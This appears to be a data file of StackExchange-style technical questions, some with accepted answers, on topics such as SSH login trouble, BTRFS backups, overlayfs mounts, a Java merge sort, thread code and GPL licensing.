{  "id": "_unix.324777"  , "question": "I want to create a custom lang file for source highlighting in gedit etc. Before I start, I cloned an existing file for testing purposes,/usr/share/gtksourceview-3.0/language-specs/imagej.langand changed the header from<language id=imagej _name=ImageJ version=2.0 _section=Scientific>to<language id=imagej2 _name=ImageJ2 version=2.0 _section=Scientific>and saved it in the same folder under the name imagej2.lang. The new ImageJ2 appears in the list of languages in gedit, but nothing is actually highlighted when I choose to use it.What am I missing?"  , "title": "GtkSourceView lang file is loaded but nothing gets highlighted"  , "tags": "xml;gedit;syntax highlighting"  } 
{  "id": "_unix.98115"  , "question": "I have a Dell Poweredge running Ubuntu 13.04 in my office to serve up an interal web-app address system. It has been at least a 2 months possibly 3 since my last login. Everything is running great, but I can not login. I know I have the correct credentials because they are saved in putty. Error simply says: Access DeniedWhat could possibly cause this to happen? Can it be fixed without pulling it off the shelf and hooking up monitors and keyboards etc (as a side-note it weighs something like 50+ pounds so I am not looking forward to that at all)?guest@buildsys2:~$ ssh -v me@192.168.1.10OpenSSH_5.9p1 Debian-5ubuntu1.1, OpenSSL 1.0.1 14 Mar 2012debug1: Reading configuration data /etc/ssh/ssh_configdebug1: /etc/ssh/ssh_config line 19: Applying options for *debug1: Connecting to 192.168.1.10 [192.168.1.10] port 22.debug1: Connection established.debug1: SELinux support disableddebug1: identity file /tmp/guest-YBscPe/.ssh/id_rsa type -1debug1: identity file /tmp/guest-YBscPe/.ssh/id_rsa-cert type -1debug1: identity file /tmp/guest-YBscPe/.ssh/id_dsa type -1debug1: identity file /tmp/guest-YBscPe/.ssh/id_dsa-cert type -1debug1: identity file /tmp/guest-YBscPe/.ssh/id_ecdsa type -1debug1: identity file /tmp/guest-YBscPe/.ssh/id_ecdsa-cert type -1debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1 > Debian-5ubuntu1.1debug1: match: OpenSSH_5.9p1 Debian-5ubuntu1.1 pat OpenSSH*debug1: Enabling compatibility mode for protocol 2.0debug1: Local version string SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1debug1: SSH2_MSG_KEXINIT sentdebug1: SSH2_MSG_KEXINIT receiveddebug1: kex: server->client aes128-ctr hmac-md5 nonedebug1: kex: client->server aes128-ctr hmac-md5 nonedebug1: sending SSH2_MSG_KEX_ECDH_INITdebug1: expecting SSH2_MSG_KEX_ECDH_REPLYdebug1: Server host key: ECDSA [removed]The authenticity of host '192.168.1.10 (192.168.1.10)' can't be established.ECDSA key fingerprint is [removed].Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '192.168.1.10' (ECDSA) to the list of known hosts.debug1: ssh_ecdsa_verify: signature correctdebug1: SSH2_MSG_NEWKEYS sentdebug1: expecting SSH2_MSG_NEWKEYSdebug1: SSH2_MSG_NEWKEYS receiveddebug1: Roaming not allowed by serverdebug1: SSH2_MSG_SERVICE_REQUEST sentdebug1: SSH2_MSG_SERVICE_ACCEPT receiveddebug1: Authentications that can continue: publickey,passworddebug1: Next authentication method: publickeydebug1: Trying private key: /tmp/guest-YBscPe/.ssh/id_rsadebug1: Trying private key: /tmp/guest-YBscPe/.ssh/id_dsadebug1: Trying private key: /tmp/guest-YBscPe/.ssh/id_ecdsadebug1: Next authentication method: passwordme@192.168.1.10's password: debug1: Authentications that can continue: publickey,passwordPermission denied, please try again.me@192.168.1.10's password: "  , "title": "Unable to login via ssh after several months"  , "tags": "ubuntu;ssh;putty"  } 
{  "id": "_unix.207453"  , "question": "I have a question about backuping BTRFS partitions.Assume I have a BTRFS partition on /dev/sda1 and an external harddrive with BTRFS on /dev/sdb1.I already found out I can make an initial backup by issuing:btrfs replace start /dev/sda1 /dev/sdb1Afterwards I change 2 things:I create a new regular file on SDA1 I create a new BTRFS snapshot on SDA1Now I want to bring my external harddrive SDB1 ('backup') aligned with SDA1. So both the files as the BTRFS specific stuff (snapshots).How do I do this? So I am looking for the rsync equivalent which also syncs the BTFS features (snapshots):rsync -avr --delete <mount point sda1> <mount point sdb1>Thanks"  , "title": "Copy BTRFS partition to external harddisk BTRFS partition including snapshots"  , "tags": "filesystems;btrfs"  } 
{  "id": "_unix.265302"  , "question": "I am interested in modifying a bash script file whose purpose is to copy large amount of files to destination path. What i'm trying to achieve is count the number of files as they are being copied.How can i achieve the objective state above ?"  , "title": "counting the number of files being copied"  , "tags": "bash;shell script"  } 
{  "id": "_webmaster.102752"  , "question": "I have a domain reseller account under PDR (publicdomainregistry). One of my client's domain has come under Pending Verification. The message which I see in my control panel is as below.An email has been sent to the Registrant for verification. If the email address is not verified by Friday, January 13, 2017, the domain name will be deactivated. The problem is that the client have no access to the current 'Registrant Contact' email. Also I can't change the registrant contact because there is this 'pending verification'. Is there any other option by which I can overcome this? without the domain getting deactivated?Thanks."  , "title": "Alternative when the current whois email cant be accessed and needs to verify the contact info for ICANN validation"  , "tags": "domain registrar;whois;icann"  , "accepted_answer": "Your client, who obviously entered the wrong email address, should contact the registry directly and generally provide all sorts of ID.If you are the reseller, best thing you can do to look after your customer is contact your wholesaler as well and check what the process is.  I doubt it will be easy.But I reckon you have left your run a bit late.  Your client had 15 days to do this, there are 5 left :("  } 
{  "id": "_unix.13158"  , "question": "Possible Duplicate:Renaming multiple files in unix Rename all files within a folder with the first word of their content(remember all the files should be text files. For example if a.txt contains Unix is an OS in its first line then a.txt should be renamed to Unix.txt"  , "title": "ranaming multiple file in unix"  , "tags": "rename"  } 
{  "id": "_codereview.36582"  , "question": "This looks pretty messy (need to reduce nesting I feel).  I need a check an input for a seat, but I can't guarantee it has a value (one may not be chosen for example). If the seats aren't in a certain color it goes to seat basic (1), otherwise seat premium (2). var seat = $(input[id*= + seatPrefix + ]);    if (seat != 'undefined') {        seat = seat[0].value;        if (seat != ) {            if (seat != red && seat != blue && seat != silver && seat != gold) {                chooseSeat(seat, 2);            }            else {                chooseSeat(seat, 1);            }        }    }"  , "title": "null/undefined checking for checking seats"  , "tags": "javascript;jquery;null"  , "accepted_answer": "var seat = $(input[id*= + seatPrefix + ]);    if (seat != 'undefined') {First off, an extra level of indentation has crept in here. Let me assume this is just a copy/paste error.Any chance you could be using classes here instead of prefixed IDs? Best case: a single ID you know in advance. It seems that you assume there's only one match anyways.jQuery, when it doesn't find anything, returns an empty collection, not undefined (or 'undefined'; did you get confused by typeof x !== 'undefined'?). To test if a jQuery collection is empty, you can use seat.length === 0 or even ! seat.length.I don't normally use hungarian notation, but I do use it for jQuery objects, especially when I'm dealing with native elements as well: $seat. On a side note, shouldn't the variable name be $seatInput or something, rather than just $seat?I recommend against the coercing equality operator (==). Use === instead. == can be a bit... unpredictable at times. There are some special cases or case where I find == acceptable (== null for null or undefined) but this is not one of them (if only because undefined != 'undefined')seat = seat[0].value;You can use seat.val() here. This has a positive side-effect that val returns undefined if the jQuery object holds no elements. Your code will attempt to dereference undefined in that case.Also, you are reusing the same variable to mean a jQuery object at one point, then to mean a string in the next line. You should use two separate variables (or inline the first one) here.if (seat != ) {If you use val, you can move it outside its condition block, and merge the condition with this one:if(seat !== undefined && seat !== )Since both undefined and the empty string are falsy and all other strings are truthy, this will work as well:if(seat)Of course, @retailcoder's suggestion to invert the condition and return early still applies.if (seat != red && seat != blue && seat != silver && seat != gold) {You can use indexOf to shorten that code and make it more readable:if ([red, blue, silver, gold].indexOf(seat) == -1)if you like shortcuts,if (!~[red, blue, silver, gold].indexOf(seat))At this point, the array definition can (and should) be moved outside the condition. It is marginally nicer to the memory, but more importantly it's easier to find the array in case you want to ever change it if you put it at the beginning of the file.if(...){    chooseSeat(seat, 2);} else {    chooseSeat(seat, 1);}Shouldn't this logic be part of the chooseSeat function?Also, 1 and 2 are non-obvious. Since you're passing a string anyways (why?), perhaps chooseSeat should accept basic and premium as its arguments?If I couldn't modify the chooseSeat function or your HTML, I would probably refactor your code like this:var basicColors = [red, blue, silver, gold];var seat = $(input[id*= + seatPrefix + ]).val();if (!seat) return;if (~basicColors.indexOf(seat)) {    chooseSeat(seat, 1);} else {    chooseSeat(seat, 2);}or, if return cannot be used (this is not the whole body of the function it is in),var basicColors = [red, blue, silver, gold];var seat = $(input[id*= + seatPrefix + ]).val();if (seat) {    if (~basicColors.indexOf(seat)) {        chooseSeat(seat, 1);    } else {        chooseSeat(seat, 2);    }}"  } 
{  "id": "_softwareengineering.254799"  , "question": "In 1989 Felix Lee, John Hayes and Angela Thomas wrote a Hacker's test taking the form of a quiz with many insider jokes, as Do you eat slime-molds?I am considering the following series:0015 Ever change the value of 4?0016 ... Unintentionally?0017 ... In a language other than Fortran?Is there a particular anecdote making the number 4 particular in the series?Did some Fortran implementation allow to modify the value of constants?  Was this possible in other languages in common use at that time?"  , "title": "Ever change the value of 4? - how did this come into Hayes-Thomas quiz?"  , "tags": "history;fortran"  , "accepted_answer": "In the old days (1970s and before) some computers did not have any MMU (and this is true today for very cheap microcontrollers).On such systems, there is no memory protection so no read-only segment in the address space, and a buggy program could overwrite a constant (either in data memory, or even inside the machine code).The Fortran compilers at that time passed formal arguments by reference. So if you did CALL FUN(4) and the SUBROUTINE FUN(I) has its body changing I - e.g. with an statement I = I + 1 in its body, you could have a disaster, changing 4 into 5 in the caller (or worse).This was also true on the first microcomputers like the original IBM PC AT from 1984, with MS-DOSFWIW, I'm old enough to have used, as a teen ager in early 1970s, such computers: IBM1620 and CAB500 (in a museum: these are 1960s era computers!). The IBM1620 was quite fun: it used in memory tables for additions and multiplications (and if you overwrote these tables, chaos ensued). So not only you could overwrite a 4, but you could even overwrite every future 2+2 addition or 7*8 multiplications (but I really forgot these dirty details so could be wrong).Today, you might overwrite the BIOS code in flash memory, if you are persevering enough. Sadly, I don't feel that fun any more, so I never tried. (I'm even afraid of installing some LinuxBios on my motherboard).On current computers and operating systems passing a constant by reference and changing it inside the callee will just provoke a segmentation violation, which sounds familiar to many C or C++ developers.BTW: to be nitpicking: overwriting 4 is not a matter of language, but of implementation."  } 
{  "id": "_softwareengineering.135841"  , "question": "I know very little about smart card authentication in general so please point out or correct me if anything below doesn't make sense.Lets say i have:A Certificate Authority X-s smart card (non-exportable private key)Drivers for that smart card written in C A smart card reader CA-s authentication OCSP web serviceA requirement to  implement user authentication in a .NET fat client application via a smart card, that was given out by the CA X.I tried searching info on the web but no prevail. What would the steps be ? My first thought was:Set up a web service, that would allow saving of (for example) scores of a ping pong game for each user. Each time someone tries to submit a score via the client application, he can only do so by inserting the smart card into the reader.Then the public key is read from the smart card by native c calls through .NET and sent to my custom web service, which in return uses the CA-s authentication OCSP web service to prove the validity of the public key/public certificate (?). If the public key is okay and valid, encrypt a random sequence of bytes with the public key and send it to the client application.If the client application sends back the correctly decrypted random sequence of bytes along with the score of the ping pong game, then the score is saved in the database for the given user.My question is, is this the correct way to do it ? What else should i know about smart card authentication ?"  , "title": "How to implement smart card authentication with a .NET Fat client?"  , "tags": ".net;windows"  } 
{  "id": "_hardwarecs.1310"  , "question": "I am looking for a device that would allow me to connect one laptop to two Ethernet cables. Each Ethernet cable has a distinct public IP and 100 Mbits symmetrical bandwidth. The goal of this link aggregation is to increase download/upload speed. The laptop has only one Ethernet port. I am not sure what the best solution is between adding another Ethernet port (e.g. with an Ethernet <-> USB adapter) and trying to configure the operating system to use both Ethernet cables simultaneously (Windows 7 SP1 x64 Ultimate and Kubuntu 14.04 LTS x64), or having an external device that takes care of link aggregation."  , "title": "Connect one computer to two Ethernet cables"  , "tags": "networking"  } 
{  "id": "_opensource.2699"  , "question": "I am using the Telegram API (licensed under GNU GPL) to integrate chat services within my own application. The developer of Telegram asks to -Please remember to publish your code too in order to comply with the  licences.So in a nutshell, my question is: Do I need to open-source my entire application or whether I need to open-source only the part wherein I'm using the chat functionality with Telegram?Any help will be highly appreciated.Link 1 to GitHub pageLink 2 to GitHub"  , "title": "GNU GPL question: Do I need to open source my entire app?"  , "tags": "gpl;derivative works;api"  } 
{  "id": "_cstheory.31418"  , "question": "I have a graph optimization problem which is hard to describe in the title.There is a component based system which consists of components and data transmissions between components(components and data transmissions will be represented by BC for short). The system has only one entry and one exit which means the system will always execute from the start component to the end component. Suppose the system only has sequence and concurrence structures. In sequence structure, the components execute one by one. In concurrence structure, components in different branches execute at the same time.Each component and data transmission has a response time $a_i$. Now I have $k$ resources. Each resource can only be allocated to one BC. If a BC has a resource, its response time will drop from $a_i$ to $b_i$. I can calculate the response time of the system because response time in sequence structure can be added up and it will be the max in concurrence structures. So I can get the system response time if I know all the BC's response time.Now I need to know what is the best resource allocation strategy to make the system response time minimum?The system can be represented as a graph $S$ which has $n$ nodes and edges(BC for short). The nodes represent components and the edges represent data transmissions. The graph has only one entry and one exit and all the edges are in one direction. $S=\\{BC_1,BC_2,\\ldots, BC_n\\}$. $BC_i$ has two values $a_i, b_i$. $a_i$ means the normal response time. $b_i$ means the response time when allocated a resource.I have a function to calculate the response time of any graph $G$ which time complexity is $O(n)$ (n is the number of edges and nodes it contains). A naive method is choose the best from $\\binom nk$ different allocations. So the time complexity is $O(n \\cdot \\binom nk)$.Now I think I can use dynamic programming to solve this problem. My idea is to treat a complex structure as a node then some intermediate results can be cached. I have some images to describe my idea. For example, the graph $S$ can be represented as $N_1,E_A,N_A,E_B,N_3$. The best allocation must come from the 11 different allocations. I can cache the result of allocating $0,1,2$ resource to $N_A$ to avoid repetitive computation. If not, $F(N_A, 0)$ will be calculated 6 times by simply enumerating.I think my solution's time complexity is better than $n \\cdot \\binom nk$. However I don't know how to prove it. Intuitively I think my solution is solvable in polynomial time."  , "title": "How to solve such a graph optimization problem?"  , "tags": "graph algorithms;optimization;dynamic programming"  } 
{  "id": "_webapps.44656"  , "question": "Okay I've got a client's Twitter account and a Facebook page, I am a manager for the Facebook page. I have currently tried using the official Twitter Facebook app to send posts to Facebook, I was unable to get posts to send to my page but I got it to working seemlessly with my profile. I used selective tweets to post but that now isn't working anymore, it too worked with my profile too.As that selective tweets was a recommendation from here I'm now asking for any help in resolving this. Its like my Facebook profile doesn't have authorization to post to the page, but I have full access. I've spent too much time on this already and any help is welcome."  , "title": "Sending Tweets to a Facebook Page not working"  , "tags": "facebook;twitter;facebook pages"  } 
{  "id": "_cs.76295"  , "question": "Given a set S of integers, the task is to partition the set into subsets such that:Total number of partitions is maximizedEach partition has sum at least KThis looks like a variant of bin-packing problem, in which the bin has to filled upto a minimum capacity and the objective is to maximize the number of bins. I looked up the solutions of bin-packing problem, turned out ffd was the best approximation solution to it.Could someone please tell me how to approach the partition problem?"  , "title": "Subset partition problem variant"  , "tags": "algorithms;combinatorics;sets;partitions"  } 
{  "id": "_codereview.47030"  , "question": "I would like to revise the fundamentals of Java threads on before-Java 5, so that I can understand improvements in Java 5 and beyond.I started off with a custom collection and need help on:Things I am doing wrong / grossly overlookingHow to make it betterSuggest alternate implementation, if anyWhich is the correct place to have the kill variable?  Is it inside the thread or in the collection like I did?public class ThreadCreation {    public static void main(String[] args) {        MyCollection coll = new MyCollection();        coll.kill = false;        RemoveCollClass t2 = new RemoveCollClass();        t2.setName(Thread2);        t2.coll = coll;        t2.start();        AddCollClass t1 = new AddCollClass();        t1.setName(Thread1);        t1.coll = coll;        t1.start();        RemoveCollClass t3 = new RemoveCollClass();        t3.setName(Thread3);        t3.coll = coll;        t3.start();        try {            Thread.sleep(10000);        } catch (InterruptedException e) {            // TODO Auto-generated catch block            e.printStackTrace();        }        coll.kill = true;    }    static class AddCollClass extends Thread {        volatile MyCollection coll;        int count = 0;        @Override        public void run() {            while (!coll.kill) {                System.out.println(Thread.currentThread().getName()                        +  --> AddCollClass Attempt --> + count);                coll.add();                count++;                try {                    Thread.sleep(2000);                } catch (InterruptedException e) {                    // TODO Auto-generated catch block                    e.printStackTrace();                }            }        }    }    static class RemoveCollClass extends Thread {        volatile MyCollection coll;        int count = 0;        @Override        public void run() {            // System.out.println(ThreadClass is running );            while (!coll.kill) {                System.out.println(Thread.currentThread().getName()                        +  -->RemoveCollClass Attempt --> + count);                coll.remove();                count++;            }        }    }    static class MyCollection {        Stack<String> container = new Stack<String>();        int maxSize = 5;        volatile boolean kill = false;        public synchronized boolean isFull() {            if (container.size() >= maxSize)                return true;            else                return false;        }        public synchronized boolean isEmpty() {            if (container.size() <= 0)                return true;            else                return false;        }        public synchronized void add() {            if (isFull()) {                try {                    System.out.println(wait triggered on-->                            + Thread.currentThread().getName());                    wait();                } catch (InterruptedException e) {                    // TODO Auto-generated catch block                    e.printStackTrace();                    notify();                }            }            if (!isFull()) {                container.add(Thread.currentThread().getName());                System.out.println( Add Completed by                         + Thread.currentThread().getName());                notify();            }        }        public synchronized void remove() {            if (isEmpty()) {                try {                    System.out.println(wait triggered on-->                            + Thread.currentThread().getName());                    wait();                } catch (InterruptedException e) {                    // TODO Auto-generated catch block                    e.printStackTrace();                    notify();                }            }            if (!isEmpty()) {                container.pop();                System.out.println( Remove Completed by                         + Thread.currentThread().getName());            }        }    }}"  , "title": "Pre-Java 5 threads"  , "tags": "java;multithreading;thread safety"  } 
{  "id": "_codereview.136224"  , "question": "I have this nifty merge sort implementation for sorting singly-linked lists. Its running time is \\$\\Theta(n \\log n)\\$, yet it uses only \\$\\Theta(\\log n)\\$ space (the stack). See what I have below.ListMergesort.java:package net.coderodde.fun;import java.util.Random;/** * This class contains a method for sorting a singly-linked list. *  * @author Rodion rodde Efremov * @version 1.6 (Jul 28, 2016) */public class ListMergesort {    /**     * This class implements a node in a singly-linked list.     *      * @param <E> the type of the datum hold by this node.      */    public static final class LinkedListNode<E> {        private final E datum;        private LinkedListNode<E> next;        public LinkedListNode(final E datum) {            this.datum = datum;        }        public E getDatum() {            return datum;        }        public LinkedListNode<E> getNext() {            return next;        }        public void setNext(final LinkedListNode<E> node) {            this.next = node;        }    }    public static <E extends Comparable<? super E>>    LinkedListNode<E> mergesort(final LinkedListNode<E> head) {        if (head == null || head.getNext() == null) {            return head;        }        return mergesortImpl(head);    }    private static <E extends Comparable<? super E>>    LinkedListNode<E> mergesortImpl(final LinkedListNode<E> head) {        if (head.getNext() == null) {            return head;        }        final LinkedListNode<E> leftSublistHead  = head;        final LinkedListNode<E> rightSublistHead = head.getNext();        LinkedListNode<E> leftSublistTail  = leftSublistHead;        LinkedListNode<E> rightSublistTail = rightSublistHead;        LinkedListNode<E> currentNode = rightSublistHead.getNext();        boolean left = true;        // Split the input linked list into two smaller linked lists:        while (currentNode != null) {            if (left) {                leftSublistTail.setNext(currentNode);                leftSublistTail = currentNode;                left = false;            } else {                rightSublistTail.setNext(currentNode);                rightSublistTail = currentNode;                left = true;            }            currentNode = currentNode.getNext();        }        leftSublistTail.setNext(null);        rightSublistTail.setNext(null);        return merge(mergesortImpl(leftSublistHead),                     mergesortImpl(rightSublistHead));    }    private static <E extends Comparable<? super E>>    LinkedListNode<E> merge(LinkedListNode<E> leftSortedListHead,                            LinkedListNode<E> rightSortedListHead) {        LinkedListNode<E> mergedListHead;        LinkedListNode<E> mergedListTail;        if (rightSortedListHead.getDatum()                               .compareTo(leftSortedListHead.getDatum()) < 0) {            mergedListHead = rightSortedListHead;            mergedListTail = rightSortedListHead;            rightSortedListHead = rightSortedListHead.getNext();        } else {            mergedListHead = leftSortedListHead;            mergedListTail = leftSortedListHead;            leftSortedListHead  = leftSortedListHead.getNext();        }        while (leftSortedListHead != null && rightSortedListHead != null) {            if (rightSortedListHead                    .getDatum()                    .compareTo(leftSortedListHead.getDatum()) < 0) {                mergedListTail.setNext(rightSortedListHead);                mergedListTail = rightSortedListHead;                rightSortedListHead = rightSortedListHead.getNext();            } else {                mergedListTail.setNext(leftSortedListHead);                mergedListTail = leftSortedListHead;                leftSortedListHead = leftSortedListHead.getNext();            }        }        while (leftSortedListHead != null) {            mergedListTail.setNext(leftSortedListHead);            mergedListTail = leftSortedListHead;            leftSortedListHead = leftSortedListHead.getNext();        }        while (rightSortedListHead != null) {            mergedListTail.setNext(rightSortedListHead);            mergedListTail = rightSortedListHead;            rightSortedListHead = rightSortedListHead.getNext();        }        return mergedListHead;    }    public static <E> String toString(LinkedListNode<E> head) {        final StringBuilder sb = new StringBuilder();        while (head != null) {            sb.append(head.getDatum()).append(' ');            head = head.getNext();        }        return sb.toString();    }    private static LinkedListNode<Integer>         createRandomLinkedList(final int size, final Random random) {        if (size == 0) {            return null;        }        LinkedListNode<Integer> head = new LinkedListNode<>(                                           random.nextInt(100));        LinkedListNode<Integer> tail = head;        for (int i = 1; i < size; ++i) {            final LinkedListNode<Integer> newnode =                     new LinkedListNode<>(random.nextInt(100));            tail.setNext(newnode);            tail = newnode;        }        return head;    }    public static void main(final String... args) {        final long seed = System.nanoTime();        final Random random = new Random(seed);        LinkedListNode<Integer> head = createRandomLinkedList(10, random);        System.out.println(Seed =  + seed);        System.out.println(toString(head));        head = mergesort(head);        System.out.println(toString(head));    }}As always, any critique is much appreciated."  , "title": "Merge sorting a singly-linked list in Java"  , "tags": "java;algorithm;linked list;mergesort"  , "accepted_answer": "On the whole, I like your approach and found it very easy to follow.  There are a few things to consider though.TestHarnessI don't like having main methods in classes as test harnesses.  I would prefer to either see JUnit tests, or for some kind of MergeSortTestHarness to contain the method that exercises your class.  This creates a separation between the code that does the work and the code that exercises it.  It also forces you to use the public interface to the class.  At the moment, you've got ListMergesort which presents generic methods and contains a generic LinkedListNode class, but has a private method that's called by main that creates a random list of integers.  This method clearly doesn't belong.Variable NamingWhen I first saw this code in toString, I thought it was going to be a bug:head = head.getNext();It looks like it's updating the head of the list as it iterates through to print.  It's not of course, it's using a local variable that's actually iterating along the list.  The name is a bit misleading, current or iter or something suggesting that it's expected to move along the list might be better.left = !leftAt the end of your split loop you can do:left = !left;currentNode = currentNode.getNext();This would allow you to remove the assignments from the split clauses above to make it more concise.Copy to endYou stop merging the lists after you've identified that one of the input streams is empty.  At which point you copy the rest of the list across like this:while (leftSortedListHead != null) {    mergedListTail.setNext(leftSortedListHead);    mergedListTail = leftSortedListHead;    leftSortedListHead = leftSortedListHead.getNext();}It feels a lot like at this point all you actually have to do is:if(leftSortedListHead != null) {    mergedListTail.setNext(leftSortedListHead);} else if(rightSortedListHead != null) {    mergedListTail.setNext(rightSortedListHead);}Each of the input lists is already a null terminated list and you don't need mergedListTail after this point, since you return the head, so you can just tack the rest of the input list onto the end."  } 
{  "id": "_unix.339496"  , "question": "I'm running a read only filesystem on a raspberry pi so far everything works fine until i tried to mount /var as overlayfs for nginx and other services to work using this:VAROVRL=-o lowerdir=/var,upperdir=/mnt/persist/var-rw,workdir=/mnt/persist/var-workmount -t overlay ${VAROVRL} overlay /varwhile this is working and all services start no issues i noticed that the mount command outputs only the overlay mount and it gets duplicated every time i reboot.after 3 reboots:mountoverlay on /var type overlay (rw,lowerdir=/var,upperdir=/mnt/persist/var-rw,workdir=/mnt/persist/var-work)overlay on /var type overlay (rw,lowerdir=/var,upperdir=/mnt/persist/var-rw,workdir=/mnt/persist/var-work)overlay on /var type overlay (rw,lowerdir=/var,upperdir=/mnt/persist/var-rw,workdir=/mnt/persist/var-work)output of /etc/mount/dev/root / ext4 ro,relatime,data=ordered 0 0devtmpfs /dev devtmpfs rw,relatime,size=469532k,nr_inodes=117383,mode=755 0 0sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0proc /proc proc rw,relatime 0 0tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0tmpfs /run tmpfs rw,nosuid,nodev,mode=755 0 0tmpfs /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0tmpfs /sys/fs/cgroup tmpfs ro,nosuid,nodev,noexec,mode=755 0 0cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd 0 0cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0cgroup /sys/fs/cgroup/net_cls cgroup rw,nosuid,nodev,noexec,relatime,net_cls 0 0systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=23,pgrp=1,timeout=300,minproto=5,maxproto=5,direct 0 0debugfs /sys/kernel/debug debugfs rw,relatime 0 0mqueue /dev/mqueue mqueue rw,relatime 0 0configfs /sys/kernel/config configfs rw,relatime 0 0tmpfs /tmp tmpfs rw,relatime,size=102400k 0 0/dev/mmcblk0p1 /boot vfat ro,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=ascii,shortname=mixed,errors=remount-ro 0 0/dev/mmcblk0p5 /mnt/persist ext4 rw,relatime,data=ordered 0 0/dev/mmcblk0p6 /mnt/cache ext4 rw,relatime,data=ordered 0 0/dev/mmcblk0p7 /mnt/osboot vfat rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=ascii,shortname=mixed,errors=remount-ro 0 0/dev/mmcblk0p8 /mnt/osimage ext4 rw,relatime,data=ordered 0 0/dev/mmcblk0p9 /mnt/userdata ext4 rw,relatime,data=ordered 0 0overlay /etc overlay rw,relatime,lowerdir=/etc,upperdir=/mnt/persist/etc-rw,workdir=/mnt/persist/etc-work 0 0overlay /var overlay rw,relatime,lowerdir=/var,upperdir=/mnt/persist/var-rw,workdir=/mnt/persist/var-work 0 0binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0output of /etc/mtaboverlay /var overlay rw,lowerdir=/var,upperdir=/mnt/persist/var-rw,workdir=/mnt/persist/var-work 0 0overlay /var overlay rw,lowerdir=/var,upperdir=/mnt/persist/var-rw,workdir=/mnt/persist/var-work 0 0overlay /var overlay rw,lowerdir=/var,upperdir=/mnt/persist/var-rw,workdir=/mnt/persist/var-work 0 0note that /etc is also mounted as overlayfs but does not generate this problem when it's the only overlay mount.anyone can spot something i'm doing wrong here?"  , "title": "mounting /var as overlayfs"  , "tags": "filesystems;mount;raspbian;readonly;overlayfs"  , "accepted_answer": "The file /etc/mtab is written by the mount and umount commands. Keeping it accurate requires a bit of work because they can only update /etc/mtab if that file is available and writable.For the usual case where /etc is mounted read-write at some point during boot, distributions set up a script that rewrite /etc/mtab during startup, as soon as the root partition has been mounted read-write. This is necessary in case the system shut down without unmounting everything (e.g. due to a system crash or power failure).In your case, where /etc is on overlayfs, either the startup script runs at the wrong time when /etc is still read-only, or it doesn't support the case of an overlay root. So if you want to keep /etc/mtab as a regular file, you'll have to tweak this script or the time when it's executed.But you probably don't need to do this. A common setup is to have /etc/mtab be a symbolic link to /proc/mounts. The two files contain mostly the same information with mostly the same syntax; from the point of view of applications that read them, they're compatible. Since /proc/mounts reflects the current kernel information, it is always up-to-date, and the mount and umount commands won't touch them.The downside of /proc/mounts compared with /etc/mtab is that it shows information (especially mount options) as printed back by the kernel, rather than the exact parameters passed to the mount command. So a little information is lost. That information is rarely useful though."  } 
{  "id": "_unix.378"  , "question": "I am looking for a succinct howto on the basics."  , "title": "Where are some good guides for making packages (deb, rpm, etc)?"  , "tags": "packaging"  , "accepted_answer": "The ubuntu packaging guide is a good introduction. The rest you can learn by studying existing packages, and reading manuals (CDBS, and of course Debian Policy). However, as directhex said, it depends a lot on the kind of package you work on.For RPM, I liked the Mandriva wiki, and some Fedora RPM Guide and Guidelines."  } 
{  "id": "_softwareengineering.154310"  , "question": "I work for a small software company (about 200 people building 8-10 applications) and I was hoping to get some advice on products that might be out there to manage the information of which clients are using which versions of our products?The most fundamental relationship would be that a product has versions and a given version is used by a client. Uses would be:Determine which clients use which productsDetermine which clients are on which versions of a productDetermine which clients are exposed to which vulnerabilities because of the version they useDetermine which clients cannot move to a new version because of a vulnerability in the new version that they may hitDetermine which clients should be approached for an upgradeAny thoughts or product reviews would be greatly appreciated!Thanks in advance."  , "title": "Options for Application Registry"  , "tags": "design;architecture"  , "accepted_answer": "There are lots of products for keeping software inventories (google for software inventory), but those are mostly aimed at gathering the complete software stack inside a company`s network. Your case seems to be simple and small enough that someone could maintain that information more or less manually in an Excel sheet or an Access DB - nothing for which a full-blown product will pay off, I guess. That it is probably the reason why you have problems to find a ready-made solution for your case - it can be too easily solved with MS Office tools.How to gather the information and transport it from your client to you is a completely different question. There are lots of real-world examples how online updaters could be designed to convince a user that he should allow a program to check for available updates and download those automatically (I don't think I have to list you any examples, I am sure you know them). Part of that update process may be transferring the version information together with the information who is downloading the update to you. "  } 
{  "id": "_unix.260527"  , "question": "I have partition names like Data-HD, Yhteinen and W10. I do have lots of other partitions, but I want a little more assurance I am copying a right partition to a correct destination. I am quite errorprone with names like /dev/sdbd1 etc.How do I get partition names to show?"  , "title": "GDiskDump or DD to show partition names?"  , "tags": "linux;partition;dd"  } 
{  "id": "_unix.14368"  , "question": "What are the differences between POSIX, the Single UNIX Specification, and the Open Group Base Specifications? I think their purpose is for determining if an OS is Unix?"  , "title": "Difference between POSIX, Single UNIX Specification, and Open Group Base Specifications?"  , "tags": "posix"  , "accepted_answer": "Today, POSIX and SUS are basically the same thing; SUS encompasses a little more.Quoting here:Beginning in 1998, a joint working group known as the Austin Group began to develop the combined standard that would be known as the Single UNIX Specification Version 3 and as POSIX:2001 (formally: IEEE Std 1003.1-2001). It was released on January 30, 2002andIn December 2008, the Austin Group published a new major revision, known as POSIX:2008 (formally: IEEE Std 1003.1-2008). This is the core of the Single UNIX Specification, Version 4"  } 
